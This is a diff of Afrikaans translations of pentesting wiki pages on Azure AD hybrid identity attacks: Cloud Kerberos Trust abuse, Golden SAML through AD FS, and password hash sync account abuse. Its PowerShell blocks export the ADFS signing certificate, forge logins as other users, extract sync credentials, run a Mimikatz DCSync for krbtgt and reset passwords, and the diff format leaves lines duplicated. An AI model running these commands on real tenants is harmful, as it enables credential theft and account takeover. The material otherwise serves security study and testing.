### NTLM
|
||||
|
||||
Aangesien daar dienste kan wees wat nie Kerberos-autentisering ondersteun nie, maar NTLM, is dit moontlik om 'n **gedeeltelike TGT wat met 'n sekondêre `krbtgt`** sleutel onderteken is, aan te vra deur die **`KERB-KEY-LIST-REQ`** veld in die **PADATA** deel van die versoek in te sluit en dan 'n volle TGT te verkry wat met die primêre `krbtgt` sleutel onderteken is **wat die NT-hash in die antwoord insluit**.
|
||||
Aangesien daar dienste kan wees wat nie Kerberos outentisering ondersteun nie, maar NTLM, is dit moontlik om 'n **gedeeltelike TGT wat met 'n sekondêre `krbtgt`** sleutel onderteken is aan te vra deur die **`KERB-KEY-LIST-REQ`** veld in die **PADATA** deel van die versoek in te sluit en dan 'n volle TGT te verkry wat met die primêre `krbtgt` sleutel onderteken is **wat die NT-hash in die antwoord insluit**.
|
||||
|
||||
## Misbruik van Cloud Kerberos Trust om Domain Admin te verkry <a href="#abusing-cloud-kerberos-trust-to-obtain-domain-admin" id="abusing-cloud-kerberos-trust-to-obtain-domain-admin"></a>
|
||||
|
||||
Wanneer AzureAD 'n **gedeeltelike TGT** genereer, sal dit die besonderhede wat dit oor die gebruiker het, gebruik. Daarom, as 'n Global Admin data soos die **sekuriteitsidentifiseerder en naam van die gebruiker in AzureAD** kan verander, wanneer 'n TGT vir daardie gebruiker aangevra word, sal die **sekuriteitsidentifiseerder 'n ander een wees**.
|
||||
Wanneer AzureAD 'n **gedeeltelike TGT** genereer, sal dit die besonderhede wat dit oor die gebruiker het, gebruik. Daarom, as 'n Global Admin data soos die **sekuriteitsidentifiseerder en naam van die gebruiker in AzureAD** kan wysig, wanneer 'n TGT vir daardie gebruiker aangevra word, sal die **sekuriteitsidentifiseerder 'n ander een wees**.
|
||||
|
||||
Dit is nie moontlik om dit deur die Microsoft Graph of die Azure AD Graph te doen nie, maar dit is moontlik om die **API wat Active Directory Connect** gebruik om gesinkroniseerde gebruikers te skep en op te dateer, te gebruik, wat deur die Global Admins gebruik kan word om die **SAM naam en SID van enige hibriede gebruiker** te verander, en dan, as ons autentiseer, kry ons 'n gedeeltelike TGT wat die veranderde SID bevat.
|
||||
Dit is nie moontlik om dit deur die Microsoft Graph of die Azure AD Graph te doen nie, maar dit is moontlik om die **API Active Directory Connect** te gebruik wat gebruik word om gesinkroniseerde gebruikers te skep en op te dateer, wat deur die Global Admins gebruik kan word om die **SAM naam en SID van enige hibriede gebruiker** te wysig, en dan as ons outentiseer, kry ons 'n gedeeltelike TGT wat die gewysigde SID bevat.
|
||||
|
||||
Let daarop dat ons dit met AADInternals kan doen en opdateer na gesinkroniseerde gebruikers via die [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet.
|
||||
Let daarop dat ons dit met AADInternals kan doen en gesinkroniseerde gebruikers kan opdateer via die [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet.
|
||||
|
||||
### Aanval vereistes <a href="#attack-prerequisites" id="attack-prerequisites"></a>
|
||||
|
||||
Die sukses van die aanval en die verkryging van Domain Admin voorregte hang af van die nakoming van sekere vereistes:
|
||||
|
||||
- Die vermoë om rekeninge deur die Synchronization API te verander, is van kardinale belang. Dit kan bereik word deur die rol van Global Admin te hê of 'n AD Connect sink rekening te besit. Alternatiewelik, die Hybrid Identity Administrator rol sal voldoende wees, aangesien dit die vermoë bied om AD Connect te bestuur en nuwe sink rekeninge te vestig.
|
||||
- Die teenwoordigheid van 'n **hibriede rekening** is noodsaaklik. Hierdie rekening moet ontvanklik wees vir verandering met die slagoffer rekening se besonderhede en moet ook toeganklik wees vir autentisering.
|
||||
- Identifikasie van 'n **teiken slagoffer rekening** binne Active Directory is 'n noodsaaklikheid. Alhoewel die aanval op enige rekening wat reeds gesinkroniseer is, uitgevoer kan word, moet die Azure AD tenant nie on-premises sekuriteitsidentifiseerders gerepliceer het nie, wat die verandering van 'n nie-gesinkroniseerde rekening vereis om die kaartjie te verkry.
|
||||
- Die vermoë om rekeninge deur die Synchronization API te verander is van kardinale belang. Dit kan bereik word deur die rol van Global Admin te hê of 'n AD Connect sink rekening te besit. Alternatiewelik, die Hybrid Identity Administrator rol sal voldoende wees, aangesien dit die vermoë bied om AD Connect te bestuur en nuwe sink rekeninge te vestig.
|
||||
- Teenwoordigheid van 'n **hibriede rekening** is noodsaaklik. Hierdie rekening moet ontvanklik wees vir wysiging met die slagoffer rekening se besonderhede en moet ook toeganklik wees vir outentisering.
|
||||
- Identifikasie van 'n **teiken slagoffer rekening** binne Active Directory is 'n noodsaaklikheid. Alhoewel die aanval op enige rekening wat reeds gesinkroniseer is, uitgevoer kan word, moet die Azure AD tenant nie on-premises sekuriteitsidentifiseerders gerepliceer het nie, wat die wysiging van 'n nie-gesinkroniseerde rekening vereis om die kaartjie te verkry.
|
||||
- Boonop moet hierdie rekening domein admin gelyke voorregte hê, maar mag nie 'n lid van tipiese AD administrateur groepe wees nie om die generering van ongeldige TGTs deur die AzureAD RODC te vermy.
|
||||
- Die mees geskikte teiken is die **Active Directory rekening wat deur die AD Connect Sync diens gebruik word**. Hierdie rekening is nie met Azure AD gesinkroniseer nie, wat sy SID as 'n lewensvatbare teiken laat, en dit hou inherent domein admin gelyke voorregte weens sy rol in die sinkronisering van wagwoord hashes (aangenome dat Password Hash Sync aktief is). Vir domeine met uitdruklike installasie, word hierdie rekening voorafgegaan met **MSOL\_**. Vir ander gevalle kan die rekening geïdentifiseer word deur alle rekeninge met Directory Replication voorregte op die domein objek te tel.
|
||||
- Die mees geskikte teiken is die **Active Directory rekening wat deur die AD Connect Sync diens gebruik word**. Hierdie rekening is nie gesinkroniseer met Azure AD nie, wat sy SID as 'n lewensvatbare teiken laat, en dit hou inherent domein admin gelyke voorregte weens sy rol in die sinkronisering van wagwoord hashes (aangenome dat Password Hash Sync aktief is). Vir domeine met uitdruklike installasie, word hierdie rekening voorafgegaan met **MSOL\_**. Vir ander gevalle kan die rekening geïdentifiseer word deur alle rekeninge met Directory Replication voorregte op die domein objek te tel.
|
||||
|
||||
### Die volle aanval <a href="#the-full-attack" id="the-full-attack"></a>
|
||||
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
# Az - Default Applications
|
||||
# Az - Standaard Toepassings
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Kontroleer die tegniek in:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) en [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
Die blogpos bespreek 'n voorregverhoging kwesbaarheid in Azure AD, wat Toepassing Administrateurs of gecompromitteerde On-Premise Sync Rekeninge in staat stel om voorregte te verhoog deur kredensiale aan toepassings toe te ken. Die kwesbaarheid, wat voortkom uit die "per ontwerp" gedrag van Azure AD se hantering van toepassings en diens prinsipale, beïnvloed veral standaard Office 365 toepassings. Alhoewel gerapporteer, word die probleem nie as 'n kwesbaarheid deur Microsoft beskou nie weens dokumentasie van die administratiewe regte toekenning gedrag. Die pos bied gedetailleerde tegniese insigte en adviseer gereelde hersienings van diens prinsipaal kredensiale in Azure AD omgewings. Vir meer gedetailleerde inligting, kan jy die oorspronklike blogpos besoek.
|
||||
Die blogpos bespreek 'n voorregverhoging kwesbaarheid in Azure AD, wat Toepassing Administrateurs of gecompromitteerde On-Premise Sink Rekeninge in staat stel om voorregte te verhoog deur krediete aan toepassings toe te ken. Die kwesbaarheid, wat voortkom uit die "per ontwerp" gedrag van Azure AD se hantering van toepassings en diens prinsipale, beïnvloed veral standaard Office 365 toepassings. Alhoewel gerapporteer, word die probleem nie as 'n kwesbaarheid deur Microsoft beskou nie weens dokumentasie van die administratiewe regte toekenning gedrag. Die pos bied gedetailleerde tegniese insigte en adviseer gereelde hersienings van diens prinsipaal krediete in Azure AD omgewings. Vir meer gedetailleerde inligting, kan jy die oorspronklike blogpos besoek.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Sinchronisering van AzureAD gebruikers na on-prem om op te skaal van on-prem na AzureAD
|
||||
|
||||
Om 'n nuwe gebruiker f**van AzureAD na die on-prem AD** te sinchroniseer, is die volgende vereistes:
|
||||
Om 'n nuwe gebruiker f**van AzureAD na die on-prem AD** te sinchroniseer, is die vereistes:
|
||||
|
||||
- Die **AzureAD gebruiker** moet 'n proxy adres hê (n **posbus**)
|
||||
- Lisensie is nie vereis nie
|
||||
|
||||
@@ -4,15 +4,15 @@
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
[Uit die dokumentasie:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federasie** is 'n versameling van **domeine** wat **vertroue** gevestig het. Die vlak van vertroue kan verskil, maar sluit tipies **verifikasie** in en sluit byna altyd **autorisasie** in. 'n Tipiese federasie kan 'n **aantal organisasies** insluit wat **vertroue** gevestig het vir **gedeelde toegang** tot 'n stel hulpbronne.
|
||||
[Van die dokumentasie:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federasie** is 'n versameling van **domeine** wat **vertroue** gevestig het. Die vlak van vertroue kan verskil, maar sluit tipies **verifikasie** in en sluit byna altyd **autorisering** in. 'n Tipiese federasie kan 'n **aantal organisasies** insluit wat **vertroue** gevestig het vir **gedeelde toegang** tot 'n stel hulpbronne.
|
||||
|
||||
Jy kan jou **on-premises** omgewing **met Azure AD** federate en hierdie federasie gebruik vir verifikasie en autorisasie. Hierdie aanmeldmetode verseker dat alle gebruiker **verifikasie plaasvind op-premises**. Hierdie metode stel administrateurs in staat om meer streng vlakke van toegangbeheer te implementeer. Federasie met **AD FS** en PingFederate is beskikbaar.
|
||||
Jy kan jou **on-premises** omgewing **met Azure AD** federasie en hierdie federasie gebruik vir verifikasie en autorisering. Hierdie aanmeldmetode verseker dat alle gebruiker **verifikasie plaasvind op-premises**. Hierdie metode stel administrateurs in staat om meer streng vlakke van toegangbeheer te implementeer. Federasie met **AD FS** en PingFederate is beskikbaar.
|
||||
|
||||
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Basies, in Federasie, vind alle **verifikasie** plaas in die **on-prem** omgewing en die gebruiker ervaar SSO oor al die vertroude omgewings. Daarom kan gebruikers **toegang** tot **cloud** toepassings verkry deur hul **on-prem kredensiale** te gebruik.
|
||||
|
||||
**Security Assertion Markup Language (SAML)** word gebruik vir **uitruiling** van alle verifikasie en autorisasie **inligting** tussen die verskaffers.
|
||||
**Security Assertion Markup Language (SAML)** word gebruik vir **uitruiling** van alle verifikasie en autorisering **inligting** tussen die verskaffers.
|
||||
|
||||
In enige federasie-opstelling is daar drie partye:
|
||||
|
||||
@@ -20,14 +20,14 @@ In enige federasie-opstelling is daar drie partye:
|
||||
- Identiteitsverskaffer (IdP)
|
||||
- Diensverskaffer (SP)
|
||||
|
||||
(Bilde van https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
(Beelde van https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
<figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. Aanvanklik word 'n toepassing (Diensverskaffer of SP, soos AWS-konsol of vSphere-webkliënt) deur 'n gebruiker toegang verkry. Hierdie stap kan oorgeslaan word, wat die kliënt direk na die IdP (Identiteitsverskaffer) lei, afhangende van die spesifieke implementering.
|
||||
1. Aanvanklik word 'n toepassing (Diensverskaffer of SP, soos AWS-konsol of vSphere-webkliënt) deur 'n gebruiker benader. Hierdie stap kan oorgeslaan word, wat die kliënt direk na die IdP (Identiteitsverskaffer) lei, afhangende van die spesifieke implementering.
|
||||
2. Vervolgens identifiseer die SP die toepaslike IdP (bv. AD FS, Okta) vir gebruiker verifikasie. Dit stel dan 'n SAML (Security Assertion Markup Language) AuthnRequest op en herlei die kliënt na die gekose IdP.
|
||||
3. Die IdP neem oor, wat die gebruiker verifieer. Na verifikasie word 'n SAMLResponse deur die IdP geformuleer en aan die SP deur die gebruiker gestuur.
|
||||
4. Laastens evalueer die SP die SAMLResponse. As dit suksesvol geverifieer word, wat 'n vertrouensverhouding met die IdP impliseer, word die gebruiker toegang verleen. Dit merk die voltooiing van die aanmeldproses, wat die gebruiker in staat stel om die diens te gebruik.
|
||||
3. Die IdP neem oor, verifieer die gebruiker. Na verifikasie word 'n SAMLResponse deur die IdP geformuleer en aan die SP deur die gebruiker gestuur.
|
||||
4. Laastens evalueer die SP die SAMLResponse. As dit suksesvol geverifieer word, wat 'n vertrouensverhouding met die IdP impliseer, word die gebruiker toegang gegee. Dit merk die voltooiing van die aanmeldproses, wat die gebruiker in staat stel om die diens te gebruik.
|
||||
|
||||
**As jy meer wil leer oor SAML-verifikasie en algemene aanvalle, gaan na:**
|
||||
|
||||
@@ -38,16 +38,16 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
## Pivoting
|
||||
|
||||
- AD FS is 'n eise-gebaseerde identiteitsmodel.
|
||||
- "..eise is eenvoudig stellings (byvoorbeeld, naam, identiteit, groep), gemaak oor gebruikers, wat hoofsaaklik gebruik word om toegang tot eise-gebaseerde toepassings wat oral op die Internet geleë is, te autoriseer."
|
||||
- "..eise is eenvoudig stellings (byvoorbeeld, naam, identiteit, groep), gemaak oor gebruikers, wat hoofsaaklik gebruik word om toegang tot eise-gebaseerde toepassings wat enige plek op die Internet geleë is, te autoriseer."
|
||||
- Eise vir 'n gebruiker word binne die SAML tokens geskryf en word dan onderteken om vertroulikheid deur die IdP te bied.
|
||||
- 'n Gebruiker word geïdentifiseer deur ImmutableID. Dit is wêreldwyd uniek en word in Azure AD gestoor.
|
||||
- Die ImmutableID word op-premises as ms-DS-ConsistencyGuid vir die gebruiker gestoor en/of kan afgelei word van die GUID van die gebruiker.
|
||||
- Die ImmutableID word op-premises gestoor as ms-DS-ConsistencyGuid vir die gebruiker en/of kan afgelei word van die GUID van die gebruiker.
|
||||
- Meer inligting in [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
|
||||
|
||||
**Goue SAML-aanval:**
|
||||
|
||||
- In ADFS, word die SAML Response deur 'n token-ondertekeningssertifikaat onderteken.
|
||||
- As die sertifikaat gecompromitteer is, is dit moontlik om as ENIGE gebruiker wat met Azure AD gesinkroniseer is, na die Azure AD te verifieer!
|
||||
- In ADFS, word SAML Response deur 'n token-ondertekeningssertifikaat onderteken.
|
||||
- As die sertifikaat gecompromitteer is, is dit moontlik om as ENIGE gebruiker wat met Azure AD gesinkroniseer is, te verifieer!
|
||||
- Net soos ons PTA misbruik, sal 'n wagwoordverandering vir 'n gebruiker of MFA geen effek hê nie omdat ons die verifikasieantwoord vervals.
|
||||
- Die sertifikaat kan van die AD FS-bediener met DA voorregte onttrek word en kan dan vanaf enige internet-verbonden masjien gebruik word.
|
||||
- Meer inligting in [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
@@ -56,20 +56,20 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
|
||||
Die proses waar 'n **Identiteitsverskaffer (IdP)** 'n **SAMLResponse** produseer om gebruiker aanmelding te autoriseer, is van kardinale belang. Afhangende van die spesifieke implementering van die IdP, kan die **antwoord** **onderteken** of **geënkripteer** word met die **IdP se privaat sleutel**. Hierdie prosedure stel die **Diensverskaffer (SP)** in staat om die egtheid van die SAMLResponse te bevestig, wat verseker dat dit werklik deur 'n vertroude IdP uitgereik is.
|
||||
|
||||
'n Parallel kan getrek word met die [goue kaart-aanval](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), waar die sleutel wat die gebruiker se identiteit en regte verifieer (KRBTGT vir goue kaarte, token-ondertekenings privaat sleutel vir goue SAML) gemanipuleer kan word om 'n **verifikasie objek** (TGT of SAMLResponse) te vervals. Dit stel in staat om enige gebruiker na te boots, wat ongeoorloofde toegang tot die SP verleen.
|
||||
'n Parallel kan getrek word met die [goue kaart-aanval](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), waar die sleutel wat die gebruiker se identiteit en regte verifieer (KRBTGT vir goue kaarte, token-ondertekenings privaat sleutel vir goue SAML) gemanipuleer kan word om 'n **verifikasie objek** (TGT of SAMLResponse) te vervals. Dit stel in staat om enige gebruiker na te volg, wat ongeautoriseerde toegang tot die SP bied.
|
||||
|
||||
Goue SAMLs bied sekere voordele:
|
||||
|
||||
- Hulle kan **afgeleë geskep** word, sonder die behoefte om deel te wees van die domein of federasie in kwestie.
|
||||
- Hulle bly effektief selfs met **Twee-Faktor Verifikasie (2FA)** geaktiveer.
|
||||
- Die token-ondertekenings **privaat sleutel hernu nie outomaties** nie.
|
||||
- **Die verandering van 'n gebruiker se wagwoord maak nie 'n reeds gegenereerde SAML ongeldig nie.**
|
||||
- **Verandering van 'n gebruiker se wagwoord maak nie 'n reeds gegenereerde SAML ongeldig** nie.
|
||||
|
||||
#### AWS + AD FS + Goue SAML
|
||||
|
||||
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) is 'n Microsoft diens wat die **veilige uitruiling van identiteitsinligting** tussen vertroude besigheidsvennote (federasie) fasiliteer. Dit stel in wese 'n domeindiens in staat om gebruikersidentiteite met ander diensverskaffers binne 'n federasie te deel.
|
||||
|
||||
Met AWS wat die gecompromitteerde domein vertrou (in 'n federasie), kan hierdie kwesbaarheid benut word om potensieel **enige regte in die AWS-omgewing te verkry**. Die aanval vereis die **privaat sleutel wat gebruik word om die SAML-objekte te onderteken**, soortgelyk aan die behoefte aan die KRBTGT in 'n goue kaart aanval. Toegang tot die AD FS-gebruikerrekening is voldoende om hierdie privaat sleutel te verkry.
|
||||
Met AWS wat die gecompromitteerde domein vertrou (in 'n federasie), kan hierdie kwesbaarheid benut word om potensieel **enige regte in die AWS-omgewing te verkry**. Die aanval vereis die **privaat sleutel wat gebruik word om die SAML-objekte te onderteken**, soortgelyk aan die behoefte aan die KRBTGT in 'n goue kaart-aanval. Toegang tot die AD FS-gebruikerrekening is voldoende om hierdie privaat sleutel te verkry.
|
||||
|
||||
Die vereistes om 'n goue SAML-aanval uit te voer sluit in:
|
||||
|
||||
@@ -83,7 +83,7 @@ Die vereistes om 'n goue SAML-aanval uit te voer sluit in:
|
||||
|
||||
_Slegs die items in vetdruk is verpligtend. Die ander kan na wens ingevul word._
|
||||
|
||||
Om die **privaat sleutel** te verkry, is toegang tot die **AD FS-gebruikerrekening** nodig. Van daar kan die privaat sleutel **uit die persoonlike winkel onttrek** word met behulp van gereedskap soos [mimikatz](https://github.com/gentilkiwi/mimikatz). Om die ander vereiste inligting te versamel, kan jy die Microsoft.Adfs.Powershell snapin soos volg gebruik, en verseker dat jy as die ADFS-gebruiker aangemeld is:
|
||||
Om die **privaat sleutel** te verkry, is toegang tot die **AD FS-gebruikerrekening** nodig. Van daar af kan die privaat sleutel **uit die persoonlike winkel onttrek** word met behulp van gereedskap soos [mimikatz](https://github.com/gentilkiwi/mimikatz). Om die ander vereiste inligting te versamel, kan jy die Microsoft.Adfs.Powershell snapin soos volg gebruik, en verseker dat jy as die ADFS-gebruiker aangemeld is:
|
||||
```powershell
|
||||
# From an "AD FS" session
|
||||
# After having exported the key with mimikatz
|
||||
@@ -133,7 +133,7 @@ Export-AADIntADFSSigningCertificate
|
||||
# Impersonate a user to to access cloud apps
|
||||
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
|
||||
```
|
||||
Dit is ook moontlik om ImmutableID van slegs wolk gebruikers te skep en hulle na te boots.
|
||||
Dit is ook moontlik om ImmutableID van slegs wolk gebruikers te skep en hulle na te doen.
|
||||
```powershell
|
||||
# Create a realistic ImmutableID and set it for a cloud only user
|
||||
[System.Convert]::ToBase64String((New-Guid).tobytearray())
|
||||
|
||||
@@ -1,32 +1,32 @@
|
||||
# Az - PHS - Password Hash Sync
|
||||
# Az - PHS - Wagtog Hash Sinkronisasie
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Basiese Inligting
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Wagwoord-hash-sinkronisering** is een van die aanmeldmetodes wat gebruik word om hibriede identiteit te bereik. **Azure AD Connect** sinkroniseer 'n hash, van die hash, van 'n gebruiker se wagwoord van 'n plaaslike Active Directory-instansie na 'n wolk-gebaseerde Azure AD-instansie.
|
||||
[Uit die dokumentasie:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Wagtog hash sinkronisasie** is een van die aanmeldmetodes wat gebruik word om hibriede identiteit te bereik. **Azure AD Connect** sinkroniseer 'n hash, van die hash, van 'n gebruiker se wagwoord van 'n plaaslike Active Directory-instansie na 'n wolk-gebaseerde Azure AD-instansie.
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dit is die **meest algemene metode** wat deur maatskappye gebruik word om 'n plaaslike AD met Azure AD te sinkroniseer.
|
||||
|
||||
Alle **gebruikers** en 'n **hash van die wagwoord-hashes** word van die plaaslike na Azure AD gesinkroniseer. egter, **duidelike wagwoorde** of die **oorspronklike** **hashes** word nie na Azure AD gestuur nie.\
|
||||
Alle **gebruikers** en 'n **hash van die wagwoord hashes** word van die plaaslike AD na Azure AD gesinkroniseer. egter, **duidelike teks wagwoorde** of die **oorspronklike** **hashes** word nie na Azure AD gestuur nie.\
|
||||
Boonop, **Ingeboude** sekuriteitsgroepe (soos domein admins...) word **nie gesinkroniseer** na Azure AD nie.
|
||||
|
||||
Die **hashes sinkronisering** vind elke **2 minute** plaas. egter, standaard, **wagwoord vervaldatum** en **rekening** **verval** word **nie gesinkroniseer** in Azure AD nie. So, 'n gebruiker wie se **plaaslike wagwoord verval** (nie verander nie) kan voortgaan om **toegang tot Azure hulpbronne** te verkry met die ou wagwoord.
|
||||
Die **hashes sinkronisasie** vind elke **2 minute** plaas. egter, standaard, **wagwoord vervaldatums** en **rekening** **vervaldatums** word **nie gesinkroniseer** in Azure AD nie. So, 'n gebruiker wie se **plaaslike wagwoord verval** (nie verander nie) kan voortgaan om **toegang tot Azure hulpbronne** te verkry met die ou wagwoord.
|
||||
|
||||
Wanneer 'n plaaslike gebruiker 'n Azure hulpbron wil benader, vind die **authentisering plaas op Azure AD**.
|
||||
Wanneer 'n plaaslike gebruiker 'n Azure hulpbron wil benader, vind die **verifikasie plaas op Azure AD**.
|
||||
|
||||
**PHS** is vereis vir funksies soos **Identiteitsbeskerming** en AAD Domeindienste.
|
||||
**PHS** is vereis vir funksies soos **Identiteit Beskerming** en AAD Domein Dienste.
|
||||
|
||||
## Pivoting
|
||||
## Pivotering
|
||||
|
||||
Wanneer PHS geconfigureer is, word sommige **bevoorregte rekeninge** outomaties **gecreëer**:
|
||||
|
||||
- Die rekening **`MSOL_<installationID>`** word outomaties in plaaslike AD geskep. Hierdie rekening ontvang 'n **Directory Synchronization Accounts** rol (sien [dokumentasie](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) wat beteken dat dit **replicatie (DCSync) toestemmings in die plaaslike AD** het.
|
||||
- Die rekening **`MSOL_<installationID>`** word outomaties in plaaslike AD geskep. Hierdie rekening ontvang 'n **Directory Synchronization Accounts** rol (sien [dokumentasie](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) wat beteken dat dit **replicasie (DCSync) toestemmings in die plaaslike AD** het.
|
||||
- 'n rekening **`Sync_<name of on-prem ADConnect Server>_installationID`** word in Azure AD geskep. Hierdie rekening kan **die wagwoord van ENIGE gebruiker** (gesinkroniseer of slegs wolk) in Azure AD **herstel**.
|
||||
|
||||
Wagwoorde van die twee vorige bevoorregte rekeninge word **in 'n SQL-server gestoor** op die bediener waar **Azure AD Connect geïnstalleer is.** Administrateurs kan die wagwoorde van daardie bevoorregte gebruikers in duidelike teks onttrek.\
|
||||
Wagwoorde van die twee vorige bevoorregte rekeninge word **in 'n SQL bediener gestoor** op die bediener waar **Azure AD Connect geïnstalleer is.** Administrateurs kan die wagwoorde van daardie bevoorregte gebruikers in duidelike teks onttrek.\
|
||||
Die databasis is geleë in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
||||
|
||||
Dit is moontlik om die konfigurasie van een van die tabelle te onttrek, wat een versleuteld is:
|
||||
@@ -37,7 +37,7 @@ Die **versleutelde konfigurasie** is versleuteld met **DPAPI** en dit bevat die
|
||||
|
||||
Jy kan 'n [volledige oorsig van hoe hierdie akrediteer bespaar en ontsleutel in hierdie praatjie vind](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
### Finding the **Azure AD connect server**
|
||||
### Vind die **Azure AD connect bediener**
|
||||
|
||||
As die **bediener waar Azure AD connect geïnstalleer is** domein-verbonden is (aanbeveel in die dokumentasie), is dit moontlik om dit te vind met:
|
||||
```powershell
|
||||
@@ -47,7 +47,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc
|
||||
#Azure AD module
|
||||
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
|
||||
```
|
||||
### Misbruik van MSOL\_\*
|
||||
### Misbruik van MSOL\_*
|
||||
```powershell
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Get-AADIntSyncCredentials
|
||||
@@ -57,7 +57,7 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Jy kan ook [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) gebruik om hierdie akrediteer te verkry.
|
||||
> Jy kan ook [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) gebruik om hierdie geloofsbriewe te verkry.
|
||||
|
||||
### Misbruik van Sync\_\*
|
||||
|
||||
@@ -91,7 +91,7 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
It's ook moontlik om die wagwoord van hierdie gebruiker te dump.
|
||||
Dit is ook moontlik om die wagwoord van hierdie gebruiker te dump.
|
||||
|
||||
> [!CAUTION]
|
||||
> 'n Ander opsie sou wees om **bevoorregte toestemmings aan 'n dienshoof** toe te ken, wat die **Sync** gebruiker **toestemmings** het om te doen, en dan **daardie dienshoof** te benader as 'n manier van privesc.
|
||||
@@ -104,7 +104,7 @@ Dit is moontlik om Seamless SSO met PHS te gebruik, wat kwesbaar is vir ander mi
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
|
||||
@@ -34,13 +34,13 @@ Die PRT-koekie word eintlik **`x-ms-RefreshTokenCredential`** genoem en dit is '
|
||||
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
|
||||
}
|
||||
```
|
||||
Die werklike **Primary Refresh Token (PRT)** is ingekapsuleer binne die **`refresh_token`**, wat geënkripteer is deur 'n sleutel onder die beheer van Azure AD, wat sy inhoud ondoorgrondelik en ondekripteerbaar vir ons maak. Die veld **`is_primary`** dui die inkapseling van die primêre verfrissingsleutel binne hierdie token aan. Om te verseker dat die koekie gebind bly aan die spesifieke aanmeldsessie waarvoor dit bedoel was, word die `request_nonce` van die `logon.microsoftonline.com` bladsy oorgedra.
|
||||
Die werklike **Primary Refresh Token (PRT)** is ingekapsuleer binne die **`refresh_token`**, wat geënkripteer is deur 'n sleutel onder die beheer van Azure AD, wat sy inhoud ondoorgrondelik en onontcijferbaar vir ons maak. Die veld **`is_primary`** dui die inkapseling van die primêre verfrissings-token binne hierdie token aan. Om te verseker dat die koekie gebind bly aan die spesifieke aanmeldsessie waarvoor dit bedoel was, word die `request_nonce` van die `logon.microsoftonline.com` bladsy oorgedra.
|
||||
|
||||
### PRT Koekie vloei met behulp van TPM
|
||||
|
||||
